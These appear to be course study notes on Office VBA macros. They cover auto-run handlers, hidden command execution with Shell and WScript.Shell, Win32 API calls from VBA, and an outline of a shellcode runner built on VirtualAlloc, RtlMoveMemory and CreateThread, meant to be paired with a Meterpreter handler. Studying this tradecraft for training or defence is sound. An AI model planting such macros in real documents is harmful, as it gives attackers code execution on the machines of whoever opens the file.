Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr
  • Dim to declare a variable
  • Then the variable name
  • then the datatype

String - Unicode String Long- 64 bit Integer LongPtr- Memory Pointer

Looping

IF_ELSE

Sub MyMacro()
 
Dim myLong As Long
myLong = 1
 
If myLong < 5 Then
MsgBox ("True") 
Else MsgBox ("False")
End If
 
End Sub

For

Show alertbox three times

Sub MyMacro()
For counter = 1 To 3
MsgBox ("Alert")
Next counter
End Sub

Auto run the macro

Sub Document_Open()
MyMacro
End Sub
 
Sub AutoOpen()
MyMacro
End Sub
 
Sub MyMacro()
MsgBox ("This is a macro test")
End Sub

Both Document_Open() and AutoOpen() autoruns the macro when the document is opned.

The document should be in .doc or .docm externision.

Two ways to execute command

Using Shell

Sub Document_Open()
MyMacro
End Sub
 
Sub AutoOpen()
MyMacro
End Sub
 
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub

Using Windows Script Host

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    CreateObject("Wscript.Shell").Run str, 0
End Sub
 

Exercise 1

  1. Experiment with VBA programming basics by creating a small macro that prints the current username and computer name 5 times using the Environ$ function.
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub


Sub MyMacro()

   Dim i As Integer
    
    For i = 1 To 5
        ' Print the current username and computer name
        MsgBox "Username: " & Environ$("USERNAME") & vbCrLf & "Computer Name: " & Environ$("COMPUTERNAME")
    Next i
End Sub


Exercise 2

In microsoft Excel

Sub Workbook_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "notepad.exe"
    Shell str, vbHide
End Sub


WinAPI with VBA

BOOL GetUserNameA( LPSTR lpBuffer, LPDWORD pcbBuffer );

The first argument is an output buffer of C type LPSTR which will contain the current username. It can be supplied as a String in VBA. In C, the LPSTR is a pointer to a string. Similarly, the VBA String object holds the pointer to a string, rather than the string itself. For this reason we can pass our argument by value (with ByVal5), since the expected types match.

The second argument (pcbBuffer) given in the function prototype as a C type is a pointer or reference to an DWORD (LPDWORD). It is the maximum size of the buffer that will contain the string. We may substitute that with the VBA Long data type and pass it by reference (ByRef6) to obtain a pointer in VBA. Finally, the output type in C is a boolean (BOOL GetUserNameA), which we can translate into a Long in VBA.

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long

With the function imported, we must declare three variables; the return value, the output buffer, and the size of the output buffer. As specified on MSDN, the maximum allowed length of a username is 256 characters so we’ll create a 256-byte String called MyBuff and a variable called MySize as a Long and set it to 256.

Function MyMacro()
Dim res As Long 
Dim MyBuff As String * 256
Dim MySize As Long
MySize = 256
res = GetUserName(MyBuff, MySize)

End Function

Before we can print the result, recall that MyBuff can contain up to 256 characters but we do not know the length of the actual username. Since a C string is terminated by a null byte, we’ll use the InStr7 function to get the index of a null byte terminator in the buffer, which marks the end of the string.

As shown in Listing 36, the arguments for InStr are fairly straightforward. We defined the starting location (setting it to “1” for the beginning of the string), the string to search, and the search character (null byte). This will return the location of the first null byte, and we can subtract one from this number to get the string length.

 
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
 
Function MyMacro()
 
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
 
Dim strlen As Long
 
MySize = 256
res = GetUserName(MyBuff, MySize)
strlen = InStr(1, MyBuff, vbNullChar) - 1
 
MsgBox Left$(MyBuff, strlen)
 
End Function

Now that we have the length of the string, we will print the non-null characters by using the Left8 method as shown in the last highlighted line of Listing 36. Left creates a substring of its first argument with the size of its second argument.

Exercise MessageBoxA with GetUserName

int MessageBoxA(
	[in, optional] HWND hWnd, 
	[in, optional] LPCSTR lpText, 
	[in, optional] LPCSTR lpCaption,
	[in] UINT uType );
  1. Import the Win32 MessageBoxA9 API and call it using VBA.
 
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
 
Private Declare Function MessageBoxA Lib "user32.dll" (ByVal hwnd As Long, ByVal lptext As String, ByVal lpCaption As String, ByVal uType As Long) As Long
 
Function MyMacro()
 
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
Dim username As String
 
Dim strlen As Long
 
MySize = 256
res = GetUserName(MyBuff, MySize)
 
strlen = InStr(1, MyBuff, vbNullChar) - 1
 
username = Left$(MyBuff, strlen)
 
 
MessageBoxA 0, "User Name " & username, "GetUsername Result", 0
 
End Function

VBA Shellcode Runner

Key Components:

  1. Shellcode Execution Overview:

    • Execute shellcode in memory using VBA.
    • Utilize three Win32 APIs: VirtualAlloc, RtlMoveMemory, and CreateThread in Kernel32.dll.
  2. VirtualAlloc API:

    • Allocate memory:
      • Prototype: LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect).

Arguments:

  • lpAddress: The starting address of the region of memory to allocate. If set to 0, the system determines the address.

  • dwSize: The size of the allocation in bytes.

  • flAllocationType: The type of memory allocation. Use &H3000 for MEM_COMMIT and MEM_RESERVE.

  • flProtect: The memory protection for the region of pages to be allocated. Use &H40 for PAGE_EXECUTE_READWRITE.

    • Declare statement:

      Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

  1. RtlMoveMemory API:

    • Copy memory:
      • Prototype: VOID RtlMoveMemory(VOID UNALIGNED *Destination, VOID UNALIGNED *Source, SIZE_T Length).

Arguments:

  • Destination: A pointer to the starting address of the destination memory block.

  • Source: A pointer to the starting address of the source memory block.

  • Length: The number of bytes to copy.

    • Declare statement:

      Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

  1. CreateThread API:

    • Create a new execution thread:
      • Prototype: HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId).
  • lpThreadAttributes: A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes.

  • dwStackSize: The initial size of the stack, in bytes.

  • lpStartAddress: A pointer to the application-defined function to be executed by the thread.

  • lpParameter: A pointer to a variable to be passed to the thread function.

  • dwCreationFlags: Flags that control the creation of the thread.

  • lpThreadId: A pointer to a variable that receives the thread identifier.

    • Declare statement:

      Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Shellcode Execution Process:

  1. Allocate Memory:

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

  2. Copy Shellcode:

    For counter = LBound(buf) To UBound(buf) data = buf(counter) res = RtlMoveMemory(addr + counter, data, 1) Next counter

  3. Execute Shellcode:

    res = CreateThread(0, 0, addr, 0, 0, 0)

Usage:

  • Add shellcode to the buf array.
  • Execute the MyMacro function on opening the document.
  • Use a matching Meterpreter handler with EXITFUNC set to “thread” and matching IP and port.